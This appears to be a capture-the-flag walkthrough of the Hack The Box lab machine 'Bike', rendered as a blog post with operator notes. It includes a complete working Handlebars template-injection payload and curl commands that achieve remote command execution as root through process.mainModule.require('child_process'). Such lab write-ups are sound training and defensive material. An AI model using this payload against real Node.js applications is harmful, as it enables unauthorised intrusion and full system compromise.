Bike
Only 2 ports. The HTTP service is Node.js with Express -- the box name "Bike" hints at template injection. Found a simple page with an email subscription form: Response reveals Handlebars: Response: We will contact you at: [object Object] -- input is rendered...
Scenario
Bike attack path
Only 2 ports. The HTTP service is Node.js with Express -- the box name "Bike" hints at template injection. Found a simple page with an email subscription form: Response reveals Handlebars: Response: We will contact you at: [object Object] -- input is rendered...
Objective
Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.
Walkthrough flow
Only 2 services: SSH and HTTP (Node.js Express)
Web app has email input form POSTing to /
Input is passed directly to Handlebars template...
App runs as root
Attack path: SSTI via Handlebars prototype traversal...
Source coverage
Moderate source coverage
Status: partial. This article is generated from 2 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.
Moderate confidence: the page is useful for review, but it should be treated as partial because the available source material is thinner or less narrative-complete.
- <TARGET>-Bike/walkthrough.md
- HTB/<TARGET>-Bike/notes.md
Technical Walkthrough
Bike - Walkthrough
Machine Info
| Field | Value |
|---|---|
| IP | <TARGET> |
| OS | Linux (Ubuntu) |
| Difficulty | Easy (Starting Point) |
| Services | SSH (22), HTTP (80) |
| Vulnerability | Server-Side Template Injection (SSTI) |
| Template Engine | Handlebars (express-handlebars 3.0.0) |
| Flag | <hash redacted> |
Enumeration
Nmap Scan
nmap -sC -sV <TARGET>PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open http Node.js (Express middleware)
|_http-title: BikeOnly 2 ports. The HTTP service is Node.js with Express -- the box name "Bike" hints at template injection.
Web Application
curl -s http://<TARGET>/Found a simple page with an email subscription form:
<form id="form" method="POST" action="/">
<input name="email" placeholder="E-mail"></input>
<button type="submit">Submit</button>
</form>Exploitation: Handlebars SSTI
Step 1: Identify Template Engine
curl -s -X POST http://<TARGET>/ -d 'email={{7*7}}&action=Submit'Response reveals Handlebars:
Error: Parse error on line 1: {{7*7}} ...
at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)Step 2: Confirm Template Context Injection
curl -s -X POST http://<TARGET>/ -d 'email={{this}}&action=Submit'Response: We will contact you at: [object Object] -- input is rendered inside a Handlebars template.
Step 3: Achieve RCE via Prototype Traversal
Handlebars does not allow arbitrary expressions like {{7*7}}. The attack uses helper abuse:
- Access the String constructor via
lookup string.sub "constructor" - Use it to create a Function object
- Execute arbitrary JavaScript via
process.mainModule.require("child_process").execSync()
Payload (URL-encoded via --data-urlencode):
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require(\"child_process\").execSync(\"COMMAND\").toString()"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Note: Using bare require() fails with ReferenceError: require is not defined. The bypass is process.mainModule.require() which accesses the require function through the process global.
Step 4: Verify RCE
curl -s -X POST http://<TARGET>/ --data-urlencode 'email={{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require(\"child_process\").execSync(\"id\").toString()"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}&action=Submit'Response: uid=0(root) gid=0(root) groups=0(root)
Step 5: Capture Flag
Same payload with cat /root/flag.txt:
<hash redacted>Privilege Escalation
Not needed -- the application already runs as root.
Lessons Learned
- Handlebars SSTI is different from Jinja2/Twig -- it does not evaluate expressions like
{{7*7}}. Instead, you abuse helper functions and prototype traversal. requiresandbox bypass: Whenrequireis undefined,process.mainModule.requireoften works because Node.js makes the main module's require available globally.- Running web apps as root is catastrophic -- any code execution vulnerability immediately gives full system access.
- Error messages reveal stack traces -- the Handlebars parse error confirmed the exact template engine and version path.
Kill Chain Summary
Email form input -> Handlebars SSTI -> prototype traversal -> Function constructor
-> process.mainModule.require("child_process").execSync() -> RCE as root -> flagSource-Backed Dossier
The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.
Notes
Scope
- Target: <TARGET> (Bike)
- OS: Linux (Ubuntu)
- Difficulty: Easy (Starting Point)
- Attacker (Pwnbox): <TARGET> (x08@<TARGET>)
- Start: 2026-05-05
- Solved: 2026-05-05 (~5 minutes)
Phase 0: Setup
- Workspace: <local workspace><TARGET>-Bike/
- Pwnbox SSH verified: OK
- Target reachable: OK (TTL 63)
Phase 1: Recon
- Port 22: OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
- Port 80: Node.js Express middleware, title "Bike"
- No other ports open (full TCP scan confirmed)
Phase 3: Synthesis
- Only 2 services: SSH and HTTP (Node.js Express)
- Web app has email input form POSTing to /
- Input is passed directly to Handlebars template compilation (express-handlebars 3.0.0)
- App runs as root
- Attack path: SSTI via Handlebars prototype traversal -> RCE as root
Phase 4: Foothold (Direct Root)
- Tested
{{7*7}}-> got Handlebars parse error (confirmed template engine) - Tested
{{this}}-> returned[object Object](confirmed template context injection) - Used Handlebars SSTI payload with
process.mainModule.require("child_process").execSync() - First attempt with bare
require()failed: "ReferenceError: require is not defined" process.mainModule.requirebypassed the restriction- Got RCE as uid=0(root)
Loot
- Flag: <hash redacted> (
/root/flag.txt)
Key Findings
- express-handlebars 3.0.0 is vulnerable to SSTI when user input is compiled as template
requirenot available in template sandbox butprocess.mainModule.requireworks- Application runs as root (no privesc needed)
- App path: /root/Backend/
Command Log
nmap -sC -sV <TARGET> # Initial scan: 22/ssh, 80/http
nmap -p<redacted> --min-rate 5000 <TARGET> # Full TCP: confirmed only 22,80
curl -s http://<TARGET>/ # Email form, POST to /
curl -X POST -d 'email={{7*7}}' # Handlebars parse error (confirms engine)
curl -X POST -d 'email={{this}}' # [object Object] (template context)
curl -X POST --data-urlencode 'email=<SSTI_PAYLOAD_require>' # require not defined
curl -X POST --data-urlencode 'email=<SSTI_PAYLOAD_process.mainModule.require>' # RCE as root!
curl -X POST --data-urlencode 'email=<SSTI_cat_flag>' # Flag captured